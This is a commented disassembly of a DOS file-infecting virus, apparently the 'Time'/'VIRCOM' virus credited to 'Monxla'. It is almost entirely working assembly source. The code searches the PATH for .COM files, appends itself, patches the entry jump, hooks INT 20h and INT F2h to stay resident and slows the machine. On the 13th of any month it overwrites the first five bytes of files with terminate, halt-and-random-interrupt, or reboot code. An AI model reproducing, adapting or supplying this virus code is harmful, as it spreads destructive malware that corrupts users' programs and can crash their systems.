home *** CD-ROM | disk | FTP | other *** search
- ; Start disassembly
-
- DATA_1E EQU 64H ; (761D:0064=0)
-
- DATA_2E EQU 66H ; (761D:0066=0)
-
- DATA_3E EQU 68H ; (761D:0068=0)
-
- DATA_10E EQU 4F43H ; (761D:4F43=0)
-
- DATA_11E EQU 504DH ; (761D:504D=0)
-
-
-
- SEG_A SEGMENT
-
- ASSUME CS:SEG_A, DS:SEG_A
-
-
-
-
-
- ORG 100h
-
-
-
- Time PROC FAR
-
-
-
- start:
-
- JMP Virus_Entry_Point ;
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Original Program without 1st three bytes... ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- DATA_5 DB 9987 DUP (90H)
-
- MOV AH,4CH ;
-
- MOV AL,DATA_2 ; Terminate to DOS with
-
- INT 21H ; exitcode AL
-
- DB 0
-
- DATA_2 DB 0
-
- DB 0
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Virus Entry Point ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Virus_Entry_Point:
-
- JMP SHORT Set_Virus_Data_Point
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Set Virus Data Storage Point ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Set_Virus_Data_Point:
-
- PUSH CX ; Store CX
-
- MOV DX,2B2DH ;
-
- MOV SI,DX ; SI points at start of
-
- ; virus data
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Get DTA Address ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
-
-
- PUSH ES ; Store ES
-
- MOV AH,2FH ; GET DTA address into
-
- INT 21H ; ES:BX
-
- MOV [SI],BX ; Store BX of DTA
-
- MOV [SI+2],ES ; Store ES of DTA
-
- POP ES ; Restore ES
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Set new DTA Address ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- MOV DX,4EH ;
-
- ADD DX,SI ;
-
- MOV AH,1AH ;
-
- INT 21H ; Set new DTA to DS:DX
-
-
-
- PUSH SI ; Store SI
-
- CLD ; Clear direction
-
- MOV DI,SI ;
-
- ADD SI,0AH ;
-
- ADD DI,81H ;
-
- MOV CX,3 ; Move 3 bytes from source
-
- REP MOVSB ; to destination (E9h, 45h
-
- ; 45h)
-
- POP SI ; Restore SI
-
-
-
- PUSH ES ; Store ES
-
- PUSH SI ; Store SI
-
- PUSH BX ; Store BX
-
- MOV BX,2CH
-
- MOV AX,[BX] ; Get Extra Segment?
-
- POP BX ; Restore BX
-
- MOV ES,AX
-
- MOV DI,0
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Search for the PATH ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Search_For_Path:
-
- POP SI ; Restore SI
-
- PUSH SI ; Store SI
-
- ADD SI,1AH ;
-
- LODSB ; Load the 'M' into AL
-
- MOV CX,8000H ;
-
- REPNE SCASB ;
-
- MOV CX,4 ;
-
- Path_Loop:
-
- LODSB ;
-
- SCASB ;
-
- JNZ Search_For_Path ;
-
- LOOP Path_Loop ; Pitty, PATH not yet found.
-
-
-
- POP SI ; Restore SI
-
- POP ES ; Restore ES
-
- MOV [SI+16H],DI ; Store address of PATH
-
- MOV BX,SI ; Temp. Storage of SI
-
- ADD SI,26H ;
-
- MOV DI,SI ;
-
- JMP SHORT Find_First_FileName
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Error:
-
- CMP WORD PTR [SI+16H],0
-
- JNE Set_Virus_Path ;
-
- JMP Restore_Org_DTA ; Error occured. Restore
-
- ; original DTA,
-
- ; 1st three bytes and
-
- ; execute original
-
- ; program.
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Start Searching for PATH ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Set_Virus_Path:
-
- PUSH DS ; Store Registers
-
- PUSH SI
-
- PUSH AX
-
- PUSH ES
-
- PUSH ES
-
- POP DS ; DS=ES
-
- PUSH BX
-
- MOV BX,2CH
-
- MOV AX,[BX]
-
- POP BX ; Restore BX
-
- MOV [SI+1FH],AX ;
-
- MOV DI,SI ;
-
- MOV AX,[DI+16H] ; Org.address of PATH
-
- MOV SI,AX ;
-
- MOV DS,[DI+1FH] ;
-
- POP ES ;
-
- POP AX ;
-
- ADD DI,26H ;
-
- Reached_EO_Path:
-
- LODSB ; Get byte into AL
-
- CMP AL,3BH ; Path Delimiter ';' reached?
-
- JE Delimiter_Reached ; Yes
-
- CMP AL,0 ; End of Path reached?
-
- JE EO_Path_Reached ; Yes
-
- STOSB ; Store byte in AL
-
- JMP SHORT Reached_EO_Path ;
-
- EO_Path_Reached:
-
- MOV SI,0 ;
-
- Delimiter_Reached:
-
- POP BX ;
-
- POP DS ;
-
- MOV [BX+16H],SI ;
-
- CMP BYTE PTR [DI-1],5CH ; Is the PATH closed by
-
- ; a backslash?
-
- JE Find_First_FileName ; Yes
-
- MOV AL,5CH ;
-
- STOSB ; Place Backslash
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Find First Filename ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Find_First_FileName:
-
- MOV [BX+18H],DI ; Store at which address
-
- ; the path starts
-
- ; BX=SI
-
- MOV SI,BX ; Restore SI
-
- ADD SI,10H ;
-
- MOV CX,6 ;
-
- REP MOVSB ; Set Search.Spec.
-
- MOV SI,BX ; Restore SI
-
-
-
- MOV AH,4EH ;
-
- MOV DX,26H ;
-
- ADD DX,SI ; Filename:= *.COM
-
- MOV CX,3 ; Search Attributes:
-
- ; Read Only/Hidden
-
- INT 21H ; Find 1st Filename to
-
- ; match with DS:DX
-
- JMP SHORT Error_Handler ;
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Find Next Filename ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Find_Next_FileName:
-
- MOV AH,4FH ;
-
- INT 21H ; Find next Filename to
-
- ; match with DS:DX
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Error Handler ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Error_Handler:
-
- JNC Check_Filelength ; Jump if carry=0, so
-
- ; no errors
-
- JMP SHORT Error ; Carry Set, so error
-
- ; occured
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Check Filelength and look if file is already infected. ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
-
-
- Check_Filelength:
-
- MOV AX,DS:DATA_1E[SI] ; (761D:0064=0)
-
- AND AL,1FH
-
- CMP AL,7
-
- JE Find_Next_FileName ; File already infected.
-
- CMP WORD PTR DS:DATA_3E[SI],0FA00H
-
- ; Is the length of the
-
- ; file more as FA00h bytes?
-
- JA Find_Next_FileName ; Yes.
-
- CMP WORD PTR DS:DATA_3E[SI],0F00H
-
- ; Is the length of the
-
- ; file less as 0F00h bytes?
-
- JB Find_Next_FileName ; Yes
-
- MOV DI,[SI+18H] ; Get address of path of virus
-
- PUSH SI ; Store SI
-
- ADD SI,6CH
-
- Set_FileName:
-
- LODSB ; Set up Filename for
-
- STOSB ; infection.
-
- CMP AL,0 ; End Of Filename Reached?
-
- JNE Set_FileName ; No
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Set Temporary File attributes ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- POP SI ; Restore SI
-
- MOV CX,[SI+63H] ;
-
- MOV CH,0 ;
-
- MOV [SI+8],CX ; Get File-Attributes
-
- MOV AX,CX ;
-
- MOV CX,0FFFEH ;
-
- AND AX,CX ; Remove Read-Only Attribute
-
- MOV CX,AX ;
-
- MOV AX,4301H ;
-
- MOV DX,26H ;
-
- ADD DX,SI ;
-
- INT 21H ; Set File-Attributes
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Open the File ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- MOV AX,3D02H ; Open the file for both
-
- INT 21H ; reading and writing
-
- JNC Give_Infection_Marker ; If no error occured...
-
- JMP Set_FileAttributes_Back ; Error occured
-
-
-
- Give_Infection_Marker:
-
- MOV BX,AX
-
- MOV CX,DS:DATA_2E[SI] ; (761D:0066=0)
-
- MOV [SI+6],CX
-
- MOV CX,DS:DATA_1E[SI] ; (761D:0064=0)
-
- AND CL,0E0H
-
- OR CL,7
-
- MOV [SI+4],CX
-
- JMP SHORT Get_Current_Time ; (2967)
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ This Part will be installed resident after hooking INT 20h ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- PUSHF ; Push flags
-
- PUSH DS
-
- PUSH ES
-
- PUSH SS
-
- PUSH AX
-
- PUSH BX
-
- PUSH DX
-
- PUSH DI
-
- PUSH SI
-
- PUSH BP
-
- MOV DX,43H
-
- MOV AL,74H ; This will change the refesh
-
- OUT DX,AL ; rate, thus slowing down the
-
- MOV DX,41H ; PC. Every normal program-
-
- MOV AL,8 ; termination by calling
-
- OUT DX,AL ; INT 20h will call this
-
- MOV AL,7 ; rourtine
-
- OUT DX,AL ;
-
- POP BP
-
- POP SI
-
- POP DI
-
- POP DX
-
- POP BX
-
- POP AX
-
- POP SS
-
- POP ES
-
- POP DS
-
- POPF ; Pop flags
-
- JMP CS:DATA_5 ; (761D:0253=9090H)
-
- ; JMP to org. INT 20h address
-
- ADD [BX+SI],AL
-
- ADD [BX+SI],AL
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Get Current Time ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Get_Current_Time:
-
- PUSH AX ; Store all registers
-
- PUSH BX
-
- PUSH CX
-
- PUSH DX
-
- PUSH DS
-
- PUSH ES
-
- PUSH SI
-
- PUSH DI
-
- PUSH BP
-
- MOV AH,2CH ; Get current time into CX:DX
-
- INT 21H ; CX=hrs/min, DX=sec/hund.sec
-
- CMP DL,32H ; Are we above 32/100 seconds?
-
- JA Get_INT_F2_Vector ; Yes
-
- JMP Start_Trigger_Check ; No
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Get Interrupt Vector of INT F2h ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Get_INT_F2_Vector:
-
- MOV AH,35H ; Get the interrupt vector of
-
- MOV AL,0F2H ; INT 0F2h into ES:BX
-
- INT 21H ;
-
-
-
- CMP BX,7777H ; Was INT F2 already hooked?
-
-
-
- JNE Allocate_Memory ; No
-
- JMP INT_F2_Already_Hooked ;
-
- Allocate_Memory:
-
- MOV AX,DS ;
-
- DEC AX ;
-
- MOV ES,AX ;
-
- MOV BX,0 ;
-
- CMP BYTE PTR ES:[BX],5AH ;
-
- JE Memory_Already_Allocated
-
- PUSH BX ;
-
- MOV AH,48H ; Allocate 4096 16-byte-para-
-
- MOV BX,0FFFFH ; graphs in memory. ???
-
- INT 21H ;
-
- CMP BX,5 ; Is the largest available
-
- ; 5 or higher?
-
- JAE Again_Allocate_Memory ; Yes
-
- JMP Start_Trigger_Check ; No
-
- Again_Allocate_Memory:
-
- MOV AH,48H ; Again allocate memory
-
- INT 21H ;
-
- POP BX ;
-
- JNC Segment_Decrease ; If there was no error when
-
- ; allocating memory the last
-
- ; time
-
- JMP Start_Trigger_Check ; If there was an error
-
- Segment_Decrease:
-
- DEC AX ; Decrease Segment of Allcated
-
- ; memory
-
- MOV ES,AX ;
-
- MOV BX,1 ;
-
- MOV WORD PTR ES:[BX],0 ;
-
- MOV BX,0 ;
-
- CMP BYTE PTR ES:[BX],5AH ;
-
- JE Memory_Allocated ;
-
- JMP SHORT Start_Trigger_Check
-
- NOP ;
-
- Memory_Allocated:
-
- MOV BX,3 ;
-
- ADD AX,ES:[BX] ;
-
- INC AX ;
-
- MOV BX,12H ;
-
- MOV ES:[BX],AX ;
-
- Memory_Already_Allocated:
-
- MOV BX,3 ;
-
- MOV AX,ES:[BX] ;
-
- SUB AX,5 ;
-
- JC Start_Trigger_Check ; Jump if carry Set
-
- MOV ES:[BX],AX ;
-
- MOV BX,12H ;
-
- SUB WORD PTR ES:[BX],5 ;
-
- MOV ES,ES:[BX] ;
-
- PUSH SI ; Store SI
-
- SUB SI,1F2H ; SI points to the part
-
- MOV DI,0 ; which must become
-
- MOV CX,46H ; resident.
-
- REP MOVSB ; Move the 46h bytes from
-
- ; [SI] to ES:[DI]
-
- POP SI ; Restore SI
-
- MOV BP,ES ;
-
- PUSH CS ;
-
- POP ES ; Restore ES
-
-
-
- MOV AH,25H ; Hook interrupt F2h
-
- MOV AL,0F2H ; New INT-vector will
-
- MOV DX,7777H ; be DS:7777h
-
- INT 21H ;
-
- JMP SHORT Hook_INT_20h ; (2A10)
-
- NOP
-
-
-
- INT_F2_Already_Hooked:
-
- JMP SHORT Start_Trigger_Check
-
- NOP
-
- Hook_INT_20h:
-
- MOV AL,20H ;
-
- MOV AH,35H ; Get the INT 20h Vector
-
- INT 21H ; into ES:BX
-
-
-
- MOV DX,ES ;
-
- MOV ES,BP ;
-
- PUSH SI ;
-
- MOV AX,SI ;
-
- SUB AX,1CAH ;
-
- MOV DI,SI ;
-
- SUB DI,1F2H ;
-
- SUB AX,DI ;
-
- MOV SI,AX ;
-
- MOV ES:[SI],BX ;
-
- ADD SI,2 ;
-
- MOV ES:[SI],DX ;
-
- SUB SI,4 ;
-
- MOV ES:[SI],AX ;
-
- POP SI ;
-
- PUSH CS ;
-
- POP ES ;
-
-
-
- MOV AH,25H ; Install new INT 20h
-
- MOV DS,BP ; vector to DS:DX
-
- MOV DX,0 ; (=DS:00)
-
- MOV AL,20H ;
-
- INT 21H ;
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Start Trigger Check ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Start_Trigger_Check:
-
- POP BP ; Restore Registers
-
- POP DI
-
- POP SI
-
- POP ES
-
- POP DS
-
- POP DX
-
- POP CX
-
- POP BX
-
- POP AX
-
- MOV AH,2AH ; Get the current date
-
- INT 21H ; CX=year, DX=mon/day
-
- CMP DL,0DH ; Is it the 13th of the month?
-
- JNE Start_Infecting_File ; No
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ It is the 13th of the Month... Select 1 out of 3 destructions ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- MOV AH,2CH ; Get current time
-
- INT 21H ; CX=hrs/min, DX=sec/hund.sec
-
- CMP DL,3CH ; Are we above 60/100 seconds?
-
- JA Destruction_2 ; Yes
-
- CMP DL,1EH ; Are we above 30/100 seconds?
-
- JA Destruction_3 ; Yes
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Destruction Scheme 1: Place the following code at the begining of a ██
-
- ;██ file: MOV AH,00 ██
-
- ;██ INT 20h ██
-
- ;██ NOP ██
-
- ;██ ██
-
- ;██ When a file is executed with this code at the begining, the program ██
-
- ;██ will terminate at once with returning to DOS. ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- MOV DX,SI
-
- ADD DX,21H
-
- JMP SHORT Write_5_Destruction_Bytes
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Destruction Scheme 2: Place the following code at the begining of a ██
-
- ;██ file: HLT ██
-
- ;██ HLT ██
-
- ;██ HLT ██
-
- ;██ HLT ██
-
- ;██ DB CDh (which is the opcode for INT) ██
-
- ;██ ██
-
- ;██ When a file is executed with this code at the begining, the program ██
-
- ;██ will execute the 4 HLT's and then perform an INT-Call depending on ██
-
- ;██ the byte following CDh. This can be any INT-Call. So this scheme ██
-
- ;██ can be consisered the dangeroust of all three destruction schemes. ██
-
- ;██ will terminate at once with returning to DOS. The first five bytes ██
-
- ;██ of a file will be overwritten always, making the file useless, but ██
-
- ;██ issuing and 'random' INT-Call can do much more harm. ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Destruction_2:
-
- MOV DX,SI
-
- ADD DX,79H
-
- JMP SHORT Write_5_Destruction_Bytes
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Destruction Scheme 3: Place the following code at the begining of a ██
-
- ;██ file: INT 19h ██
-
- ;██ INT 19h ██
-
- ;██ DB ? (Can be anything. It is the 1st byte of the org.file) ██
-
- ;██ ██
-
- ;██ When a file is executed with this code at the begining, the program ██
-
- ;██ will cause a reboot without a memory test and preserving the ██
-
- ;██ interrupt vectors. If any interrupt vector from 00h through 1Ch has ██
-
- ;██ been set, the system most likely will hang itself, because of this ██
-
- ;██ preserving. ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Destruction_3:
-
- MOV DX,SI
-
- ADD DX,7DH
-
- JMP SHORT Write_5_Destruction_Bytes
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Write the 5 bytes with the destruction to the begining of the file ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Write_5_Destruction_Bytes:
-
- MOV AH,40H ;
-
- MOV CX,5 ;
-
- INT 21H ; Write 5 bytes to the file
-
- JMP SHORT Set_FileDate_Time_Back
-
- NOP
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ It is not the 13th of the month... Infect the file ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Start_Infecting_File:
-
- MOV AH,3FH ;
-
- MOV CX,3 ; Number of bytes to read
-
- MOV DX,0AH ;
-
- ADD DX,SI ;
-
- INT 21H ; Read the bytes from the file
-
- ; and put them at DS:DX
-
- JC Set_FileDate_Time_Back ; If Error Occurred
-
- CMP AL,3 ; 3 Bytes read?
-
- JNE Set_FileDate_Time_Back ; No
-
-
-
-
-
- MOV AX,4202H ; Set the Read/Write
-
- MOV CX,0 ; pointer to the EOF at
-
- MOV DX,0 ; offset CX:DX (=00:00)
-
- INT 21H ;
-
-
-
- MOV CX,AX ; CX=Length of File
-
- SUB AX,3 ;
-
- MOV [SI+0EH],AX ; Store Length -3 bytes
-
- ADD CX,41DH ; CX=CX+41Dh
-
- MOV DI,SI
-
- SUB DI,318H
-
- MOV [DI],CX ; Set new Virus Data Area
-
- ; Address into code
-
- MOV AH,40H ;
-
- MOV CX,3ABH ; CX=3ABh The length of the
-
- ; viral-code written to disk.
-
- MOV DX,SI
-
- SUB DX,31DH ; DX points at the start of
-
- ; the virus code
-
- INT 21H ; Write the viral-code to the
-
- ; file
-
-
-
- JC Set_FileDate_Time_Back ; If an error occured
-
- CMP AX,3ABH ; 3ABh bytes written?
-
- JNE Set_FileDate_Time_Back ; No
-
- MOV AX,4200H ; Move Read/Write Pointer to
-
- MOV CX,0 ; the beginning of the file
-
- MOV DX,0 ; at offset CX:DX(=00:00)
-
- INT 21H ;
-
-
-
- MOV AH,40H ; Write the 1st three new
-
- MOV CX,3 ; bytes to the file. These
-
- MOV DX,SI ; bytes contain the JMP
-
- ADD DX,0DH ; instruction to the virus.
-
- INT 21H ;
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Set File-Time/Date back ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Set_FileDate_Time_Back:
-
- MOV DX,[SI+6] ; Get File-Date
-
- MOV CX,[SI+4] ; Get File-Time
-
- MOV AX,5701H ; Set back the File-Time and
-
- INT 21H ; Date stamps
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Close the File ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- MOV AH,3EH ;
-
- INT 21H ; Close the File
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Set File Attribute back ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
-
-
- Set_FileAttributes_Back:
-
- MOV AX,4301H ;
-
- MOV CX,[SI+8] ; Get File Attribute
-
- MOV DX,26H ;
-
- ADD DX,SI ;
-
- INT 21H ; Set File Attribute
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Restore Org DTA address ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- Restore_Org_DTA:
-
- PUSH DS
-
- MOV AH,1AH
-
- MOV DX,[SI] ; Get Original DTA
-
- MOV DS,[SI+2] ; address
-
- INT 21H ; St DTA to ds:dx
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Put 3 Original 1st three bytes in place and execute original program ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- POP DS ; Restore DS
-
- PUSH SI ; Store SI
-
- CLD ;
-
- ADD SI,81H ; Address where the 1st three
-
- ; bytes can be found.
-
- MOV DI,100H ; Destination Address
-
- MOV CX,3 ; Number of bytes to move
-
- REP MOVSB ; Move the bytes
-
- POP SI ; Restore SI
-
- POP CX ; Restore CX
-
- XOR AX,AX ; Zero register
-
- XOR BX,BX ; Zero register
-
- XOR DX,DX ; Zero register
-
- XOR SI,SI ; Zero register
-
- MOV DI,100H
-
- PUSH DI ; Store DI
-
- XOR DI,DI ; Zero register
-
- RET 0FFFFH ; Terminate Virus-Code and
-
- ; execute original program.
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ Virus Data Area ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
-
-
- ORG_DTA_ADD: DW ? ; Storing place for BX of
-
- ; original DTA
-
- DW ? ; Storing place for ES of
-
- ; original DTA
-
- File_Time: DW ? ; Storing place for the
-
- ; filetime of the file
-
- Date: DW ? ; Storing place for the
-
- ; filedate
-
- Attrib: DW ? ; Storing place for the
-
- ; file attributes.
-
-
-
- Three_Bytes: DB 0E9h, 27h, 03h
-
-
-
- First_New_Byte: DB 0E9h ; First new byte of the
-
- ; the infected file. This is
-
- ; the jump instruction.
-
- Length_Min_3: DB 0Dh, 27h ; Also new address to jump
-
- ; to for the virus on exe-
-
- ; cution, 2nd and 3rd new byte
-
-
-
- Search_Spec: DB '*.COM',00h
-
-
-
- Path_Add_Org: DW 00,05
-
-
-
- Path_Add_Vir: DW '6M'
-
-
-
- DB 'PATH=', 00, 00
-
-
-
- Destruc_Code_1: DB 0B4h, 0h, 0CDh, 20h, 90h
-
-
-
- File_Path: DB 'VIRCOM.COM' ; Filename including PATH
-
- DB 30 DUP(0)
-
-
-
- New_DTA:
-
- DB 02
-
- DB '????????COM'
-
- DB 03, 11H
-
- DB 7 DUP (0)
-
- DB 20H, 80H, 12H, 17H, 15H, 10H
-
- DB 27H, 0, 0
-
-
-
- FileName: DB 'VIRCOM.COM', 00h, 00h, 00h
-
-
-
- Destruc_Code_2: DB 0F4H, 0F4H, 0F4H, 0F4H
-
-
-
- Destruc_Code_3: DB 0CDH, 19H, 0CDH, 19H, 0E9H
-
-
-
- First_3_Bytes: DB 0E9h, 45h, 45h
-
-
-
- Notice: DB '(C) Monxla'
-
-
-
- Time ENDP
-
-
-
- SEG_A ENDS
-
-
-
-
-
-
-
- END START
-